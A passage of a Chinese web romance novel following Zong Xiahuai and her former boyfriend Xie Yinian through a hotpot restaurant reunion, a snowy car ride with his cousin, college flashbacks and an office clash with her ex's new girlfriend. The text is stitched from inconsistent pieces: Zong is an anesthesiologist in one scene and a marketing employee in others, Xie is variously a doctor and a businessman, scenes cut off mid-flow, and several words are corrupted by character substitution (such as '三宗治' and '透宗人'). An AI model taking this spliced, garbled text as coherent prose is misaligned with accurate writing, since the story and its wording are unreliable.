“瞧瞧这雪下的,跟特么碎纸机似的。”蒋望抻着脖子看向店外面,听着歌词筷子一顿,“刚想起来,今儿是圣诞节吧?” 谢宜年从旋转台上拿下来一盘鸡胸肉,慢条斯理地放进锅里,压根没搭理他这茬。 蒋望把筷子一放,端着啤酒杯搭在他肩膀上,感慨:“哎,谁能想到我蒋望也有圣诞节没妹妹陪伴在侧的一天。” “这可是圣诞节,最容易制造氛围感拿下目标的日子!” “既然如此……”他对服务生招招手:“给我加一份烤生蚝,我养精蓄锐补一补。” 谢宜年毫不客气地扫过去一记眼刀,嘲意昭然。 他挥开蒋望的胳膊,夹起锅里的海鲜菇,语气淡却字字扎心:“知道自己虚就少卖弄,出去不够丢人的。” “怎么,谈恋爱当然得付出多一份心力,对人女孩儿不得宠着哄着?” 蒋望趁他不注意,往谢宜年那精瘦的腹部拍了下,“不像您,这么多年打光棍子,自己这点儿家伙式还会使吗?” 谢宜年没预兆地哧笑半声。 不笑还好,一笑嘲讽意味更重了。 蒋望瘪瘪嘴,得得得,像他这种出厂六十分的为了讨好女孩只能不断打扮自己。 瞧他谢宜年这张脸……偏偏身材头脑全都没得挑,恨不得从娘胎出来就自带招蜂引蝶buff(游戏中的属性加成)。 就在这时,一阵风从远处,门口的方向刮来。 冷风飘到他们位置的时候已经被店里的热雾吞得所剩无几,只留下一点余韵。 蒋望不经意往门口处看了一眼:“是有点牛逼,这都几点了,还有那么多人等号呢。” “也是,这么大的雪,进来避避顺便吃个饭。” 他视力常年维持双眼5.0的惊人成绩,一眼就扫到等号区的一抹身影。 一开始没想起来什么,几秒后蒋望忽然皱眉,再次看过去。 等号区边角位置的女孩软绵绵靠在墙边,脸色不太好,捂着肚子。 宗夏槐很有记忆点,她长了一张天然萌的脸,这么多年过去脸上仍然有几分婴儿肥,有唇珠,一抿嘴就显得特别无辜。 尤其是她那双眼睛,圆圆的眼型很黑很亮特像小麻槐,看人总是很专注。 就这么一张脸,一看就知道没什么心眼。 而且谢宜年就交过这么一个女朋友,所以蒋望记得很深。 蒋望愣了好几秒,然后忽然很激动转身拍着谢宜年:“年啊,你看那谁,你快看那谁啊!” “你前女友。” 谢宜年咀嚼的动作一顿,顺着他指的方向看去—— 瞧见了靠在墙边虚弱发呆的宗夏槐。 估计是因为眼镜有雾所以她摘了下来,此刻那双圆黑眼睛没有任何遮挡地露在外面。 因为没有眼镜所以视线失焦,更显得无助又无辜。 淋湿的头发狼狈贴着,可怜兮兮的。 “哟,这是等多久了,看她那样儿跟三天没吃饭似的。”蒋望回想起大学时候。 知道的不多,但他记得当初谢宜年被甩以后整日消沉的那吊样。 也是直到分手了,蒋望才意识到自己兄弟有多喜欢宗夏槐,整个人又瘦又自闭,都怕他寻短见。 蒋望观察着谢宜年锋芒的眼神,抖机灵笑道:“感觉快排到她那号了,哥们给你腾地儿吧?让她过来吃,你俩叙叙旧。” 就在蒋望已经准备拿羽绒服起身的时候,身边人忽然冷声开口:“坐下,吃你的。” 谢宜年收起视线,继续下菜,冷面无情:“她饿不饿跟你有什么关系,谁来不都得等着。” 蒋望“嗯?”了一声。 哟喂?彻底封心锁爱了? 他只得默默坐下,既然兄弟不愿意搭理前女友也就算了,“这次来滨阳多久走?” 两人是大学舍友,毕业以后他回老家滨阳接管老爹的公司,而谢宜年留学结束没意外地回崇京驻扎。 这些年谢宜年到处在全国范围内选址做生意,滨阳就有产业,偶尔会过来巡查一圈,待几天就走。 两人也就是这个时候才有机会见面喝顿酒。 谢宜年抿了口温水,嘴里麻酱的醇香被稀释,余光映着远处孤零零坐着的宗夏槐。 “下周吧,也可能提前。” 刚说完,他瞥见的那抹纤细的身影偷偷弯起腰,默默擦了下眼睛。 像哭了。 谢宜年摩挲着杯子的拇指缓缓停下,眉心微折。 “着什么急走啊你……”蒋望瘪瘪嘴,舍不得似的。 “你多留几天,跟你兄弟我增进一下感情。” “可以。”他突然说。 蒋望:? 下一刻,谢宜年将目光放到蒋望的脸上,“不是说今天圣诞节没人陪么。” “我给你推个搭子。” “你滚蛋吧。” 宗夏槐不知道这张表情包,只是觉得他低着头,非常适合亲吻。 于是宗夏槐踮起脚尖,快速地亲了他一口。 谢宜年手上拎着外卖袋子,根本无从抵抗。夏夏还伸手把他的发型给弄乱了,还“嘲笑”他:“宜年,你这个样子好呆哦。” 宗夏槐又忍不住感慨:“你头发好多,你将来不会英年早秃吧?” 谢宜年誓死捍卫自己的头发尊严:“不可能,我家里人都没有秃头基因,我老爸的头发现在还很旺盛。” 宗夏槐“哦”了一声。 谢宜年警觉地盯着她:“是不是以后我秃了变丑了,夏夏就不喜欢我了?” 宗夏槐:“嗯?” 谢宜年控诉她:“我就知道你只是看上了我的脸!” 宗夏槐用莫名其妙的眼神看他,谢宜年说:“好吧,既然夏夏喜欢我的脸,我就努力一直这么好看,让夏夏多喜欢我一点。” 宗夏槐心想,这个男人似乎知道自己很好看,连臭屁的样子都可爱得要命。 第 53 章 第 53 章 于是趁没人的时候,宗夏槐又亲了他一口。 谢宜年装作震惊地看她:“夏夏你又偷亲我!” 宗夏槐把手背在身后,踏着轻松的步子往前走,她踩着月光,就像回到了十几岁的少女时代,那时她不用考虑职场上的人心,不用自己操心柴米油盐生活里的各项支出,只需要全力以赴备战高考。 偏偏学习对那时的她并不是一件难事,少女夏槐天资聪慧,稳坐年级前茅,是老师和家长的宠儿,小夏的生活过得十分轻松滋润,那时的她像七月的花,开得灿烂热烈且有一股锐气。 可是后来她高考失利,她花了一个月的时间来接受这件事情,从此性情也变得沉静。 再后来宗夏槐学了麻醉,又经过一些事情的打磨,她就变成了现在这副喜怒不形于色的模样。 但是现在遇到谢宜年,她又展现出自己最真实的一面。原来谈恋爱就是两个人一起变幼稚。 宗夏槐背对着他,声音听得出在努力憋笑:“那我不偷亲了。” 谢宜年又不肯:“亲嘛亲嘛,我又没说不给夏夏亲,我是夏夏的,夏夏想怎么亲就怎么亲。” 宗夏槐一个从没在选择上发愁过的人,第一次感受到了选择困难症人士的那种焦躁。 前有豺狼后有虎豹,她顿在原地不知该怎么办。 烦人的前男友马上就要追上来,初恋出现得十分及时。 可你谢宜年带着现任女友来救前任女友的场是怎么个意思!? 他才不是那么好心的人。 对方绝对是路过,脑子一抽停了车。 大雪纷飞,车窗一降下来卷发女孩淋到雪,忍不住哆嗦一下,扒着车窗喊她:“小姐姐!你去哪儿我们捎你一程!” 她听见宗夏槐身后有人直冲冲奔来,皱眉似乎很纳闷:“怎么有人在你屁股后面追你啊,他跟你有仇吗?” 宗夏槐见她一脸单纯善意,心里泛起说不出的滋味,忙中摆手:“不用了,我找个地方打车就行。” 卷发女孩摇头,喊声穿过密雪:“姐!这种天气你打不到车的!” 就在这时,她的余光被谢宜年抓住。 两人隔着卷飞的白絮对视。 谢宜年抬起原本扶着方向盘的手,看了眼智能腕表,嗓音冷淡:“这儿限停两分钟。” 他掀眼,补了下句:“你还有四十秒能磨叽。” 对方的话语落在宗夏槐耳朵里,意思俨然是:再不上来我就踩油门了,你丫就在大雪里和前男友搏斗吧。 卷发女孩指着她后面,声音尖锐:“他要追来啦!小姐姐快跑!” 这俩人说书似的一句句逼她,吓得宗夏槐硬着头皮拉开车门就扑了上去。 随后越野车落锁,一声闷轰——窜了出去。 杨格好不容易追上来,又被扬了一脸车尾气和雪渣子。 他蹲在原地喘个不行,盯着飞驰而去的越野车,表情复杂。 ………… 上了车宗夏槐就后悔了。 扑进他车的后座时,她仿佛被跌入了谢宜年的领域。 厚重又清冽的男性气场,隐约飘着雪松香味。 即使距离远不如上次在火锅店胳膊相蹭的那么近,可却让宗夏槐有着更微妙的感觉。 靠近,却无法融入。 她稍作抬眼,看着前排主副驾驶的那两人。 一时间,她找不到自己坐在后座的合适身份,屁股下的柔软坐垫仿佛成了刑具,每一秒都说不出的漫长。 “去哪儿。”驾驶位传来声音。 宗夏槐瞬间回神,刚张嘴—— 副驾驶的女孩开口:“不是先送我吗?我下车了你再问小姐姐嘛。” 女孩嗓音清亮,撒娇的时候也很干脆,不管男女听着都会很舒服。 她一句话让宗夏槐想起了曾经坠入恋爱中的自己,也是这样,不管不顾地要求谢宜年把自己的想法放在第一位。 享受被他偏爱的感觉。 包上的雪化了,滴答在皮椅上,宗夏槐低着头,急忙擦干净。 谢宜年扶在反向盘上的食指轻轻一点,半不耐烦的偏眼:“我问的就是你。” 卷发女孩“啊”了一声,“你问我呢?那我回家呗,今儿这天气,也没法去别地儿玩了。” 对话结束,车内又陷入安静中,只有周杰伦的歌单不断循环着。 宗夏槐坐在后面拼命降低自己的存在感,恨不得化身透宗人。 《爱情废柴》响起,她忽然想起在火锅店那天,好像也听到了这首。 又一个路口,车子停下,勒着安全带的女孩竟翻身扭头回来。 卷发女孩扒着座椅看着她,微笑问:“车里暖风温度还可以吗?冷不冷啊小姐姐。” 她的热情让人心软。 宗夏槐笑着摇头。 铺垫了一句之后,卷发女孩脑袋靠着座椅,“你叫我小琪就行,哎,你和谢宜年什么关系呀?” 她转了转眼珠,“我俩算是……” 女孩暧昧地看了眼谢宜年,语气漫上玩味:“青梅竹马吧,从小认识。” 心跳有瞬间的漏拍,宗夏槐的微笑卡在脸上,盯着面容姣好的女孩,忽然品出几分异样的味道。 有种被正主拷问关系的感觉。 她翕动唇瓣却说不出话来。 卷发女孩说:“那天在餐厅遇到你,我看着你俩像认识。” 她指指驾驶位的人,无奈劝说:“感觉你挺怕他的,其实没关系啦,他虽然看着凶巴巴能咬人似的,但人还不错。” 女孩的口吻十分亲昵,仿佛如亲眷般对外人介绍谢宜年一般。 这样的语气,让坐如针毡的宗夏槐心里再度一扭。 说不出什么滋味。 她说:“我和他是一个大学的。” 卷发女孩了然:“原来如此!对了,既然你和他是大学同学。” 她双眼亮着专注的光:“你认识谢宜年大学交的女朋友吗?” “我知道他大学谈了一个,而且好像处得还挺认真的,你认识她吗?” 宗夏槐瞬间中弹。 不巧…… 卷发女生叹气,拍拍皮座椅:“我一直很好奇她是什么样的人,我问谢宜年和那姑娘还有没有联络,他就充哑巴什么都不肯说!没意思!” 对方这话落在她耳朵里,俨然很在意谢宜年和前任目前的关系,当然,谁会希望自己的准男友还跟前任不清不白,藕断丝连的呢。 宗夏槐忍不住往后视镜看去,有几分想让对方解围的意思。 恰好,谢宜年也在这瞬间看向后视镜。 镜面狭窄,只刻画了男人犀利的眼神,落入她视线,像一道电流击中皮肤。 谢宜年的这一眼让宗夏槐某个瞬间竟觉得——他像是也想听听她要怎么说。 她并不想搅入他如今的感情关系里,哪怕只是以某个名字存在,让别的女生觉得她作为谢宜年的前任还在对他心存觊觎。 宗夏槐悄然揪紧衣服,吐字缓慢:“我知道你说的那个女生。” “不过据我了解,她应该不是那种纠缠的人,放下就放下了。” “这个你不用担心。” 宗夏槐话音飘落,谢宜年食指点着方向盘的动作停住。 他目视前方,眉头皱起。 卷发小姐姐并没有露出松口气的表情,反而有些遗憾,“啊……这样啊。” “我就是想见见她本人,太好奇了,能把谢宜年迷得不着四六的!我都怀疑他这么多年不找对象是不就因为她!” 宗夏槐看着对方不按套路表现的态度,突然有点懵了。 她,还想见见谢宜年的前任? 一说起这个话题,卷发女孩整个人像打了鸡血一样,恨不得捞起一把瓜子来,脖子都快伸到后座去侃大山了:“哎姐姐,你知道吗,当初他被甩了以后……” “谢琪。”冷声咬着重音,威慑力满满。 谢琪兴奋的姿态一下僵住。 宗夏槐愣了。 ……谢? 谢宜年睨着眼前还有五秒就要变绿的指示灯,唇角弧度掉得一干二净,手指摩挲自动挡的动作透着杀气。 “滚回来坐好。” 谢琪像个被吓着的小鸡崽子瞬间扭回身,闭嘴了。 心里碎碎叨:话还不让人说两句了,笑死,难不成好巧不巧后座坐着的那个就是?吓唬人干什么呀! 但是她还是没忍住回头,悻悻解释:“我大名叫谢琪,他是我堂哥啦,嘿嘿。” 所有脑补都成了自作多情,宗夏槐耳后一热,“你,你不是说青梅竹马……” 谢琪眼珠一转,流露几分狡猾:“兄妹不也算青梅竹马吗?” 宗夏槐:“……” 感觉被玩了。 其实今天宗夏槐一上车谢琪就感觉到这俩人氛围不对劲了。 她和自家堂哥绝对不简单,而且宗夏槐这张可爱的脸谢琪总觉得在哪儿见过。 要么就是朋友圈,要么就是哪张瞥见过的照片。 外加上谢宜年表现出的态度,更让谢琪想试探试探这位小姐姐的态度。 可惜,这样都没套出话来。 谢宜年一摆臭脸气场太足,吓得谢琪再也不敢多嘴了,她一不说话,车厢里唯一会产生热闹的源头就没了。 之后一路,车里都保持着绝对的安静,唯有周杰伦的一首首歌在立体音响里响着。 越野车在暴雪城市里穿梭,最后进了一个高档小区里,在单元楼下停靠。 谢琪听歌吹暖风昏昏欲睡,直到谢宜年杵了她一下才醒。 谢琪腻歪歪醒来,边下车边吐槽开车那人:“你还嫌弃我听的歌土,听你这些都能睡着,开车能安全嘛……” 她开了车门还不忘和后座的宗夏槐告别:“拜拜小姐姐,下次咱们再聊。” “所以你和我哥只是同学嘛?” 看来对方是那种不得到答案就不会罢休的性格,宗夏槐笑着答了句:“只是普通同学而已。” 就在这时,谢宜年歪头看向后座,眼神深长。 宗夏槐和谢琪告别的手还举在半空,就这样对上他的视线。 宗夏槐停住,看着对方冷淡的目光心想:怎么,突然懒得载她了吗?是要她顺便也滚下去自己找出路吗? 谢宜年看她呆呆坐在原地,伸手拍了拍副驾驶的座椅背后,“前面儿来。” 谢琪刚下车,回头看见这一幕,瘪瘪嘴:她这两只脚还没完全踏出去呢,这就迫不及待让人家上来了。 嘁,你要是这么迫切早说,我中间就给你换位置呗。 “我走啦,你们路上小心。”她说了句,背着包钻进了单元楼。 宗夏槐有些意外,不好意思的客气了一下:“我,我坐后面就挺好的。” “后面也很暖和,很舒适。”她一脸诚恳。 谢宜年盯着她脸的眼神愈深,眉头一动,“我让你上前面输导航。” “谁问你暖不暖了。” 宗夏槐:“……” 是她多想了呗。 凶什么。 毕竟对方愿意当免费司机已经很不容易了,宗夏槐自知占便宜就老老实实听人家的,开了车门去前面坐。 雪势似乎比刚才还要大,她下车换到副驾驶这么几秒钟,就被大雪刮了一脸冰湿。 嘭。 她使劲带上车门,把暴风雪隔绝在外面。 “麻烦你捎我一程了。” 车子是近年的新款,很智能,宗夏槐看了看车载设备,小声问:“在哪儿输地址呢。” 谢宜年的表情似乎比刚才还要冷了些,斜靠在一侧,话都懒得说,抬了抬下巴示意她主屏幕。 宗夏槐最知道他是什么臭屁脾气,也不知道哪句话没说对让他不满意了。 她也懒得管他高不高兴,凑过去在导航上输入自己家的地址。 因为眼镜又淋了雪湿乎乎的,她摘了眼镜看不清,几乎把整张脸都凑到屏幕前去敲字。 就在这时,旁边的男人又开了口。 “有必要精准到楼门么,你独居这么没戒心?” 宗夏槐压根没多想,直接说:“平时打滴滴当然不会送到楼下。” “这不是在你车上么。” 车厢安静了三四秒。 宗夏槐听对方突然不说话了,偏头刚要去看,对方突然伸手过来。 就这样,在车内环绕音乐的背景下,谢宜年的手指刚好擦到她的脸颊。 抹去了她脸上融化的雪水,肌肤相蹭,一时间溅起无形的火花。 雪的凛冽混着雪松香味弥漫整个车厢。 宗夏槐彻底怔在原地,身体僵住了。 显然谢宜年也没有预料到这一碰撞,手指停止在她脸蛋旁边,指腹似乎还残留着抚到她颊侧绒毛的触觉。 有些暖,有些痒。 屏幕光照亮她的侧脸,将宗夏槐怔愣缩动的眸色清晰准确地送到他眼底。 只要他稍稍一动,就能再次碰到她的雪颊。 谢宜年冷淡的神情稍许变动,反过来嘲道:“在我车上?” 故意重复她刚刚说的:“我不就你普通同学么。” 宗夏槐耳后一热。 因为他这种居高临下审视的眼神,在过去很多场合都对她袒露过,仿佛一眼就能将她看穿,更有种不容置喙的掌控力。 “既然只是同学。”他挑眉,嗓音压低,故意吓唬人:“对我这种半熟不熟的陌生男人,你倒是挺放心。” 宗夏槐慢慢眨了下眼,直接问:“那你会对我做什么吗?” 谢宜年反过来静了。 她凡事都不会想太多,有话直说:“你又不会害我。” “更不会……图谋不轨。” “我防你干什么。” 谢宜年喉结压住,轻叱一声。 一拳打在棉花上的感觉过于熟悉,没招儿。 他抬动手指,食指贴上对方柔软的脸蛋,慢悠悠将她的脸拨开。 猝不及防产生了肌肤接触,宗夏槐呆呆地被他推开,看着他点下屏幕上的开始导航。 宗夏槐默默靠回座椅里,揉了揉被他碰过的还在酥酸的脸颊。 好奇怪,身上怎么突然变得这么敏感,含羞草似的。 她忙着迅速收拾自己凌乱的状态,没察觉到对方看她看了好久了。 越野车停在楼下已经许久,车顶积的雪又厚了很多,车灯记录着雪势的疯狂。 宗夏槐抬头,有些莫名,看着他问:“不走吗?看我干嘛。” “你多久没坐过别人的副驾了。”谢宜年费解地注视,下一秒不等她反应,直接俯身过去—— 宗夏槐刚收纳好的心跳再次剧烈活动起来。 她还没意识到什么,对方宽大的身影就笼罩了过来,眼前一片灰黑。 谢宜年身上这股温厚又侵略感十足的气质,她无比熟悉。 悸动使喉管都缩紧了,呼吸困难。 吓得宗夏槐倏地抬起手,抵在他胸口,急切之下说出:“我,我有男朋友了。” 手指贴在他胸膛上,指腹隔着衣服都能感受到谢宜年强壮身体的温热。 烫得她心口也跟着痒起来。 “你别……”她缓缓抬头,近在咫尺中对上他暗然的双眼,喃喃:“这么近……” 谢宜年一手握住她身侧的安全带,扯到人身前,“捆”住她。 然后他掀起眼皮,盯着宗夏槐臊红的一张脸,牵唇:“你有男朋友和你不系安全带,冲突么。” 宗夏槐意识到他的目的后本就臊得恨不得钻地缝,对方又毫不留情补了这么一句,她直接红到脖颈。 啊啊啊别说了! 她是脑补怪行了吗! 谢宜年看了眼导航的方向,坐回驾驶位,系好安全带。 他单手扶着方向盘,驶动车子。 路灯从车窗外飞梭而去,开出一个路口后。 谢宜年借着瞄后视镜的动作,瞥了眼捂着额头装死的宗夏槐,忽然没前没后地补了句。 “我不找对象不是因为你。” “别想多了。” 谢宜年看向她,眼神无奈:“既然这样……”那就算了吧。 他没有自大到觉得自己可以拯救每一个人,他从医,有仁者心肠,会尽力救治每一个病人,但是他有自知之明。 可是宗夏槐向他伸出手:“电话号码。” 谢宜年不解:“?” 宗夏槐说:“给我来打吧,反正家属也不认识我,更不会找到我。” 宗夏槐是麻醉医生,常年待在手术室里,家属很难接触到她。 她朝他微笑:“虽然不知道结果是什么,但是病人留下姐姐的电话号码,说明愿意把决定权交到姐姐手里,我们应该尊重她。” 宗夏槐说:“哎,谁叫我们还没有司空见惯呢,看到这样的事情还是会不忍心,趁着我们还有热血心肠的时候,想做就做呗!也许等年资高了,就麻木了。” 宗夏槐好像看出了谢宜年的难受,说:“我们能做的,也只有这些了。” 是的,我们,他和夏夏。 谢宜年的心剧烈地跳动起来。 第 54 章 第 54 章 宗夏槐当着他的面把电话打出去了,滴了两声后电话接通,电话那头是个年轻的女人。 宗夏槐问她是否是某人的姐姐,对方疑惑不解地“嗯”了一声。 宗夏槐也没有废话,三言两语讲了事情经过,“你妹妹现在在ICU,你要不要过来看一下她?” 对面毫不犹豫地答应,甚至说现在就来。 宗夏槐并没有说病人丈夫婆婆不愿意救人的事情,但是姐姐似乎猜到了:“是不是……” 宗夏槐仍旧没有正面回答,只是说:“你人先过来再说吧。” 姐姐在电话里并没有追问她的身份,宗夏槐挂断电话后也松了口气。 至少听姐姐的语气,还是在乎妹妹的,那么今晚这个电话就是有意义的。 不知道是不是被车内暖气烘得发昏,她面对谢宜年的一句“不找对象不是因为你”,多余地发散了一下思维。 “哦。”她点点头,本意是想延续话题,结果竟发蒙说出一句:“是没人看得上你吗?” “不应该吧。” 直到回了家,宗夏槐脑海里还是他那张好像会骂人的臭脸。 男人扶着方向盘,驾驶中趁隙瞥了她一眼,折起眉笑了声,似乎很荒唐。 “你管得着么。” 他这一句话,如投石后湖面上的涟漪,一波波连续地叨扰着她的睡梦。 冷不丁地牵引出很多已经快被遗忘的事。 斗胆加上谢宜年微信又很成功地把对方惹怒后,宗夏槐在人生社死履历上画上了浓墨重彩的一笔。 对方扔过来几句很冲的话之后,她像个被吓炸毛的小家槐似的半个字都不敢再发了。 装死坐等被对方怒删。 宗夏槐一直在想办法编个借口告诉舍友,但又陷入在答应的事没有替别人做到的愧疚里迟迟开不了口,生怕因为这件事和舍友生嫌隙。 然后,她又在学生会新生面试上见到了谢宜年。 高中时期谢宜年虽然是学生会里的干部,但以她的印象,对方并不是热衷于这些活动的人,每次在高中学生会见到他,他也总是懒洋洋靠在窗边任听安排,大多时间都垂眸玩着手里的小玩意。 所以宗夏槐在大学学生会再见到他,是有些意外的。 没想到这人到了大学还会进入这些看上去“又麻烦又累”的社团里。 大四的学长学姐们都忙碌在实习和毕业论文当中,所以学生会就由他们大三的干部们挑起大梁。 这次负责新生面试的也都是大三的学生们。 宗夏槐坐在后面,面对面试的那点紧张全都因为谢宜年的存在被淡化了。 宗宗是坐在最靠边位置的人,却无形中吸引了在场大部分人的注意力,尤其是女生的。 他和其他干部一样穿着崇大校服的T恤,下身就是最简单的黑色工装裤,这样简单的穿搭却丝毫无法削弱他的魅力。 面试程序里基本都是其他四五个学长学姐在说话,他就跟个吉祥物似的坐在那儿垂着视线翻简历玩儿。 没吱过声,没抬过眼,散漫不羁却又没人敢管他。 真是把孤僻傲气表现到极致了。 宗夏槐看他对这事也不上心,更放心了。 在她眼里,过去一两周了,超市搭讪加上微信招惹这两件事在这种大人物眼里肯定早就过眼云烟,忘得连复兴号都追不上。 于是她把专注力都投在面试上,等轮到她的时候,扬起自信准备到前面去。 学姐念到下个名字:“好了下一位,18经管宗夏槐。” 就在声音落地,在这一瞬间。 谢宜年翻页的手指顿住,掀起眼皮。 视线如捕猎的鹰爪精准地隔空抓住了她的目光。 宗夏槐刚要坐下的动作僵在中途,心跳猛地漏下去一拍。 谢宜年冷淡淡的视线仿佛会说话。 让她那一瞬间仿佛读懂了他的眼神。 【是你,对吧。】 后背一阵凉意袭来,宗夏槐吓得差点扔了手里的文件夹。 这人原来这么记仇的吗!就因为她审判了一下他的衣品!? 坐在谢宜年旁边的学长最先察觉到他的不对,看了他一眼,然后笑着对她说:“学妹,可以放心坐。” “椅子上又没刀子。” 大家笑了两声,宗夏槐臊着坐下了,全程不敢往谢宜年的方向看。 即使这样,她还是能感受到从那个方向幽幽飘来的冷意。 ……太吓人了。 ………… 被拉进学生会大群的时候,宗夏槐才发现自己根本没被谢宜年删掉。 这是她一直都不理解的事,按理说不应该被他讨厌死了吗? 顾着生气忘删她了? 好在顺利进入了学生会,又和当初给她打圆场的学长混熟了关系。 那个学长叫季霄回,是谢宜年的舍友,也是学生会会长。 长相俊美毫不逊于谢宜年,平时很好说话,对她这个学妹全程使用鼓励夸夸教学法,不过似乎有些腹黑,不知道微笑的皮下是什么样的脾气。 她所属季霄回这个部门,从他那里学到了很多,平时也有不少接触。 这期间,宗夏槐旁敲侧击地告诉舍友自己不太能要到谢宜年的微信,并且点破了对方不算太好的脾气。 舍友们倒是放弃了让她线上联络谢宜年这条路,却又发现了她和季霄回关系不错的事。 宗夏槐低估了谢宜年的魅力,竟然能迷得她这些同学不顾一切想跟他认识。 一向自傲的舍友韦婧拉着她磨了好几个晚上,撒娇又示好的,求她用季霄回搭个线。 宗夏槐不太乐意没有当时答应,但却在第二天中午吃饭的时候,碰到了也来第二食堂的季霄回谢宜年一行人。 他们买完了饭正好在找地方坐。 韦婧看见了谢宜年使劲怼了下宗夏槐,恨不得把她原地提起来推过去。 “快点啊,槐槐,快点快点叫他们过来坐,好不容易有个机会啊!” “你把他叫过来坐,别的都不用麻烦你了!” 宗夏槐很头疼,结果一抬眼这桌其他同班女生全都是期待的目光。 习惯性讨好周围人的她实在受不住这么多投注依赖的目光,硬着头皮扭头举起手,喊季霄回:“学长!我们这儿有地方!” “过来坐吗?” 季霄回看见她,毫不犹豫答应:“你也在这儿吃啊。” “正好,方便吗?” 谢宜年他们宿舍的四个男生都长得人模人样的,他们走过来坐的时候,宗夏槐感觉到食堂里很多视线都跟着过来了。 这种成为某种焦点的感觉真是不太好。 有韦婧这个大胆追爱的人在,当场其他女生胆子都跟着大了些,三两句的跟这几个帅哥学长搭话社交起来。 韦婧借着去洗个手的机会,一个眼神成功和宗夏槐换了位置,直接坐到了谢宜年身边。 就在她不断靠近谢宜年,话语间目的逐渐浮出水面的时候。 谢宜年一句话都没施舍给韦婧,而是撂下筷子,看向缩在角落默默吃饭的人,开口:“宗夏槐。” 他一句宗夏槐,这桌的氛围陡然安静了很多。 女生们惊讶的目光忘了藏。 宗夏槐呆呆地抬头,嘴里的面条都忘了咬断。 谢宜年目光淡漠,歪头示意,“出来。” 女生们看向她,无声羡慕:他竟然要和她单聊!! 宗夏槐看懂他的眼神,内心呐喊:他要宰了我!! 就这样,她被谢宜年一句话提溜出去了。 逼近十月份,崇京还热着,她站在树下盯着鞋头,不敢直视面前的男生。 谢宜年一直沉默,她又不敢抬头,只敢盯着他的腹部。 “学长……有事吗。” 半晌,他干脆利落地戳破:“有事儿不会让她直接找我?” “用不着绕这么多弯子。” “你跟季霄回套这么久近乎,就为了今儿这出?” 宗夏槐愣了下,木讷否认:“不是。” “在我们眼里你就是。”谢宜年弯腰,去找她逃避的双眼,费解:“你觉得是我看不出来还是季霄回看不出来?” 他步步紧逼,主动俯身来抓她的目光,宗夏槐逃无可逃,对着他笃定的目光心神不定。 被误解和愧疚的感觉同时涌上来,她本不想得罪舍友,结果却因为一个举动被季霄回学长讨厌了吗…… 一想到被敬重的学长讨厌,宗夏槐眼底泛热,鼻尖一耸,双眸说红就红。 她揪着衣摆,嗓音酸软:“对不起。” 谢宜年的观察力异于常人,隔绝于嘈杂,却又能一眼看破所有人的心理。 他指宗:“你信不信,不懂得拒绝的人最后一点儿好都落不着。” “你是觉得一味顺从讨好就会被喜欢吗?” “你喜欢这么做人?” 她虽然高中就认识谢宜年这号人,但实际上有接触不过就是上大学后的这一两次。 被一个只有几次接触的人一眼看破性格里的劣性,其实是件很容易恼怒的事。 谢宜年一句话就否认了她十几年来在不被偏爱的家庭里养成的生存法则,宗夏槐猛地抬眼,用恼羞成怒的目光顶回去。 她抖着嗓音反驳:“给你们添麻烦了是我不对,我道歉,以后会离你远远的。” “但我怎么做人……”宗夏槐挤了半天,说出一句能想到的最硬气的话:“你管得着吗!” ………… 打工人早晨的闹铃准时响起,宗夏槐睁开眼,从断断续续的回忆梦里挣脱,关掉手机闹钟。 她懒洋洋从被窝里腻歪两下,伸了个懒腰。 怪不得昨晚上车上听到谢宜年那句“你管得着么”的时候感觉那么熟悉。 他是故意说的吗? 这人真能记仇到这个地步? 一夜过后,从楼上往下望去全世界都雪白无暇。 打工仔的早晨很宝贵,宗夏槐不再沉浸于回忆那些没答案的事儿,在床上扭了两下就起来洗漱了。 所幸谢宜年的出现只是生活里的插曲,两人如今只是两条相隔甚远的平行线,宗夏槐很快就把一切抛到脑后,回归工作。 大概过了一周多。 天气预报又被一堆雪花标识霸占。 烦心的人又跟飞蚊似的飘到眼前。 这天中午宗夏槐和同事结伴去吃饭,园区外有很多快餐店,有一家主打廉价自选式餐饮,是供应附近企业员工的“外部食堂”。 同事正好是人事部的,宗夏槐端着餐盘排队选东西的时候随口聊:“听说公司在裁员,销售部已经开始了,真的假的?” 同事点点头:“我有个销售一部的朋友,前两天就走了。” 她和这个同事平时往来比较多,平时没少一块吐槽无良公司的骚操作,所以有什么就说什么。 “真吓人,销售跟我们就隔了两楼,我们就像世外桃源似的什么都不知道。”宗夏槐拿了个鸡蛋三宗治,瘪瘪嘴:“能不能给我们营销部再招两个,人少活多,每天连喘气的时间都没有。” 同事看着她欲言又止,最终还是沉默了。 宗夏槐没看见她异样的神情,专注于挑选今天午餐的饮料。 就在这时,身后传来一阵对话。 “小孙,我看你这戒指真好看,好像是梵克雅宝的款吧?男朋友送的?” “是啊,姐你不知道,小孙新男朋友可帅了,咱公司策划部门的,蛮出名的哦。” “叫什么啊?” 之后一道软绵绵的女声带着骄傲的味道传来。 “跟咱们部门隔得远可能见得少啦,叫杨格。” 宗夏槐拿着葡萄汁的动作一顿,缓缓回头,看向这个正排在自己身后的女人。 而对方的目光早已在她身上盯了很久,这个小孙瞥向她的这一眼,意味深长。 女人之间的某种电波对上。 宗夏槐知道,对方在炫耀,在彰显自己的“主权”。 她确定,那天在酒店隔门听到的女声,就是这个人发出来的。 小孙抬起手,无意间亮了亮无名指的新戒指,跟身后的人抱怨:“他就是花钱太没控制了,好不容易发一次奖金,全给我买了这么个小东西。” “您说多不值得啊。” 她的女同事笑了:“哪里不值,给女朋友花钱不是理所当然的吗!” 另一个人也跟着羡慕:“是啊哎哟,你男朋友真会疼人。” “不过之前听说他有女朋友来着?我听说错了?” 小孙笑容迟缓了一瞬,说:“啊,那个啊。” “是,不过他说前任那人啊……反正不太合得来,一直被拖着也没意思就算了。” 说着还用余光看了眼她。 宗夏槐握着果汁的手指泛白,不禁后悔了之前跟邵青青说不和出轨女方计较的想法。 没冤枉错人,真就是一对狗男女。 就在这时,前面人事部同事回头来,竟偶然聊起一样的话题:“最近没怎么听说你提起你男朋友了?” “怎么了,吵架啦?” 宗夏槐知道对方在偷听,故意拿起和小孙一样的语气,无所谓笑道:“啊,那个啊。” “分了。” 同事讶异:“这么突然?” 她知道宗夏槐的脾气好,不是对方有问题不会突然分手,于是安慰说:“别难过啊,好男人有的是。” 宗夏槐把果汁放在托盘里,鼓起脸蛋笑得绵甜,“不会呀。” 她往前走的时候撂下一句:“谁会因为扔了个垃圾而难过呢。” “也就是路边的公共垃圾桶才容得下那种玩意。” 小孙的表情顿时僵在脸上,瞪着宗夏槐的背影,被骂了想怼却又不能真去给自己找麻烦,只能站在原地气得脸色发白。 ………… 